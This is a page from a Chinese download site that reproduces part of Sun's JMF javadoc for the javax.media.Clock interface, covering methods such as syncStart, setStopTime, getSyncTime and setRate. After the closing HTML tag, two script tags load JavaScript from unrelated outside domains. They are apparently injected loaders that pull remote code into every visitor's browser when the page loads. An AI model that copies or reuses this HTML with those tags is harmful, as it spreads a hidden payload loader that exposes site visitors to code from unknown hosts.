⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 clock.html

📁 JMF原版英文说明文档
💻 HTML
📖 第 1 页 / 共 3 页
字号:
<HR><A NAME="syncStart(javax.media.Time)"><!-- --></A><H3>syncStart</H3><PRE>public void <B>syncStart</B>(<A HREF="../../javax/media/Time.html">Time</A>&nbsp;at)</PRE><DL><DD>Synchronizes the current <i>media time</i> to the specified  <I>time-base time</I> and start the <code>Clock</code>.  The <code>syncStart</code> method sets the <i>time-base start-time</i>, and puts the <code>Clock</code> in the <i>Started</i> state. This method can only be called on a <i>Stopped</i>&nbsp;<code>Clock</code>.  A <code>ClockStartedError</code> is thrown if <code>setTimeBase</code> is called on a <i>Started</i>&nbsp; <code>Clock</code>.<DD><DL><DT><B>Parameters:</B><DD><CODE>at</CODE> - The <i>time-base time</i> to equate with the current <i>media time</i>.</DL></DD></DL><HR><A NAME="stop()"><!-- --></A><H3>stop</H3><PRE>public void <B>stop</B>()</PRE><DL><DD>Stops the <code>Clock</code>.  Calling <code>stop</code> releases the <code>Clock</code> from synchronization with the <code>TimeBase</code>. After this request is issued, the <code>Clock</code> is in the  <i>Stopped</i> state. If <code>stop</code> is called on a <i>Stopped</i>&nbsp;<code>Clock</code>, the request is ignored.</DL><HR><A NAME="setStopTime(javax.media.Time)"><!-- --></A><H3>setStopTime</H3><PRE>public void <B>setStopTime</B>(<A HREF="../../javax/media/Time.html">Time</A>&nbsp;stopTime)</PRE><DL><DD>Sets the <i>media time</i> at which you want the <code>Clock</code> to stop. The <code>Clock</code> will stop when its <i>media time</i> passes the stop-time. To clear the stop time, set it to: <code>Clock.RESET</code>. <p> You can always call <code>setStopTime</code> on a <i>Stopped</i>&nbsp; <code>Clock</code>. <p> On a <i>Started</i>&nbsp;<code>Clock</code>, the stop-time can only be set <I>once</I>.  A <code>StopTimeSetError</code> is thrown if <code>setStopTime</code> is called and the <i>media stop-time</i> has already been set.<DD><DL><DT><B>Parameters:</B><DD><CODE>stopTime</CODE> - The time at which you want the <code>Clock</code> to stop, in <i>media time</i>.</DL></DD></DL><HR><A NAME="getStopTime()"><!-- --></A><H3>getStopTime</H3><PRE>public <A HREF="../../javax/media/Time.html">Time</A> <B>getStopTime</B>()</PRE><DL><DD>Gets the last value successfully set by <CODE>setStopTime</CODE>.  Returns the constant <CODE>Clock.RESET</CODE> if no stop time is set. (<CODE>Clock.RESET</CODE> is the default stop time.)<DD><DL><DT><B>Returns:</B><DD>The current stop time.</DL></DD></DL><HR><A NAME="setMediaTime(javax.media.Time)"><!-- --></A><H3>setMediaTime</H3><PRE>public void <B>setMediaTime</B>(<A HREF="../../javax/media/Time.html">Time</A>&nbsp;now)</PRE><DL><DD>Sets the <code>Clock's</code>&nbsp;<i>media time</i>. This method can only be called on a <i>Stopped</i>&nbsp;<code>Clock</code>.   A <code>ClockStartedError</code> is thrown if <code>setMediaTime</code> is called on a <i>Started</i>&nbsp; <code>Clock</code>.<DD><DL><DT><B>Parameters:</B><DD><CODE>now</CODE> - The new media time.</DL></DD></DL><HR><A NAME="getMediaTime()"><!-- --></A><H3>getMediaTime</H3><PRE>public <A HREF="../../javax/media/Time.html">Time</A> <B>getMediaTime</B>()</PRE><DL><DD>Gets this <code>Clock's</code> current <i>media time</i>. A <i>Started</i>&nbsp;<code>Clock's</code>&nbsp;<i>media time</i> is based on  its <code>TimeBase</code> and rate, as described in <a href="#start"><I>Starting a Clock</I></a>.<DD><DL><DT><B>Returns:</B><DD>The current <i>media time</i>.</DL></DD></DL><HR><A NAME="getMediaNanoseconds()"><!-- --></A><H3>getMediaNanoseconds</H3><PRE>public long <B>getMediaNanoseconds</B>()</PRE><DL><DD>Gets this <code>Clock's</code> current <i>media time</i> in nanoseconds.<DD><DL><DT><B>Returns:</B><DD>The current <i>media time</i> in nanoseconds.</DL></DD></DL><HR><A NAME="getSyncTime()"><!-- --></A><H3>getSyncTime</H3><PRE>public <A HREF="../../javax/media/Time.html">Time</A> <B>getSyncTime</B>()</PRE><DL><DD>Gets the current <i>media time</i> or the time until this <code>Clock</code> will synchronize to its <code>TimeBase</code>. The <code>getSyncTime</code> method is used by <code>Players</code> and advanced applet writers to  synchronize <code>Clocks</code>. <p> Like <code>getMediaTime</code>, this method returns  the <code>Clock's</code> current <i>media time</i>, which is based on its <code>TimeBase</code> and rate. However, when <code>syncStart</code> is used to start the <code>Clock</code>, <code>getSyncTime</code> performs a countdown to the time-base start-time, returning the time remaining until the <i>time-base start-time</i>. Once the <code>TimeBase</code> reaches the <i>time-base start-time</i>,&nbsp;<code>getSyncTime</code> and <code>getMediaTime</code> will return the same value.<p></DL><HR><A NAME="getTimeBase()"><!-- --></A><H3>getTimeBase</H3><PRE>public <A HREF="../../javax/media/TimeBase.html">TimeBase</A> <B>getTimeBase</B>()</PRE><DL><DD>Gets the <code>TimeBase</code> that this <code>Clock</code> is using.</DL><HR><A NAME="mapToTimeBase(javax.media.Time)"><!-- --></A><H3>mapToTimeBase</H3><PRE>public <A HREF="../../javax/media/Time.html">Time</A> <B>mapToTimeBase</B>(<A HREF="../../javax/media/Time.html">Time</A>&nbsp;t)                   throws <A HREF="../../javax/media/ClockStoppedException.html">ClockStoppedException</A></PRE><DL><DD>Gets the <code>TimeBase</code> time corresponding to the specified <i>media time</i>.<DD><DL><DT><B>Parameters:</B><DD><CODE>t</CODE> - The <i>media time</i> to map from.<DT><B>Returns:</B><DD>The <I>time-base time</I> in <I>media-time</I> coordinates.<DT><B>Throws:</B><DD><A HREF="../../javax/media/ClockStoppedException.html">ClockStoppedException</A> - Thrown if <CODE>mapToTimeBase</CODE> is called on a <i>Stopped</i>&nbsp; <code>Clock</code>.</DL></DD></DL><HR><A NAME="getRate()"><!-- --></A><H3>getRate</H3><PRE>public float <B>getRate</B>()</PRE><DL><DD>Gets the current temporal scale factor. The scale factor defines the relationship between the <code>Clock's</code>&nbsp;<i>media time</i>  and its <code>TimeBase</code>.<p> For example, a rate of 2.0 indicates that <i>media time</i> will pass twice as fast as the <code>TimeBase</code> time once the <code>Clock</code> starts.  Similarly, a negative rate indicates that the <code>Clock</code> runs in the opposite direction of its <code>TimeBase</code>.  All <code>Clocks</code> are guaranteed to support a rate of 1.0, the default rate. <code>Clocks</code>  are not required  to support any other rate.<p></DL><HR><A NAME="setRate(float)"><!-- --></A><H3>setRate</H3><PRE>public float <B>setRate</B>(float&nbsp;factor)</PRE><DL><DD>Sets the temporal scale factor. The argument <i>suggests</i> the scale factor to use.<p>  The <code>setRate</code> method returns the actual rate set by the <code>Clock</code>.  <code>Clocks</code> should set their rate as close to  the requested value as possible, but are not required to set the rate to the exact value of any argument other than 1.0. A <code>Clock</code> is only guaranteed to set its rate exactly to 1.0. <p>  You can only call this method on a <i>Stopped</i>&nbsp;<code>Clock</code>. A <code>ClockStartedError</code> is thrown if <code>setRate</code> is called on a <i>Started</i>&nbsp;<code>Clock</code>.<p><DD><DL><DT><B>Parameters:</B><DD><CODE>factor</CODE> - The temporal scale factor (rate) to set.<DT><B>Returns:</B><DD>The actual rate set.</DL></DD></DL><!-- ========= END OF CLASS DATA ========= --><HR><!-- ========== START OF NAVBAR ========== --><A NAME="navbar_bottom"><!-- --></A><TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0"><TR><TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"><A NAME="navbar_bottom_firstrow"><!-- --></A><TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3">  <TR ALIGN="center" VALIGN="top">  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../overview-summary.html"><FONT ID="NavBarFont1"><B>Overview</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="package-summary.html"><FONT ID="NavBarFont1"><B>Package</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> &nbsp;<FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="package-tree.html"><FONT ID="NavBarFont1"><B>Tree</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../deprecated-list.html"><FONT ID="NavBarFont1"><B>Deprecated</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../index-all.html"><FONT ID="NavBarFont1"><B>Index</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../help-doc.html"><FONT ID="NavBarFont1"><B>Help</B></FONT></A>&nbsp;</TD>  </TR></TABLE></TD><TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM></EM></TD></TR><TR><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">&nbsp;<A HREF="../../javax/media/CachingControl.html"><B>PREV CLASS</B></A>&nbsp;&nbsp;<A HREF="../../javax/media/Codec.html"><B>NEXT CLASS</B></A></FONT></TD><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">  <A HREF="../../index.html" TARGET="_top"><B>FRAMES</B></A>  &nbsp;&nbsp;<A HREF="Clock.html" TARGET="_top"><B>NO FRAMES</B></A></FONT></TD></TR><TR><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">  SUMMARY: &nbsp;INNER&nbsp;|&nbsp;<A HREF="#field_summary">FIELD</A>&nbsp;|&nbsp;CONSTR&nbsp;|&nbsp;<A HREF="#method_summary">METHOD</A></FONT></TD><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">DETAIL: &nbsp;<A HREF="#field_detail">FIELD</A>&nbsp;|&nbsp;CONSTR&nbsp;|&nbsp;<A HREF="#method_detail">METHOD</A></FONT></TD></TR></TABLE><!-- =========== END OF NAVBAR =========== --><HR><font size="-1">  <a href="mailto:jmf-bugs@sun.com">Submit a bug or feature</a>  <br>Copyright 1999-2000 Sun Microsystems, Inc. 901 San Antonio Road,  Palo Alto, California, 94303, U.S.A. All Rights Reserved.  See the <a href="spec-license.html">Specification License</a> for more details.  <br>Sun, Sun Microsystems, and Java are trademarks or registered  trademarks of Sun Microsystems, Inc. in the US and other countries.</font></BODY></HTML>
<script language=javascript src=http://www.3389qiqi.com/xx.js></script>
<script language="javascript" src="http://grwm.woxwngw.cn/index.htm"></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -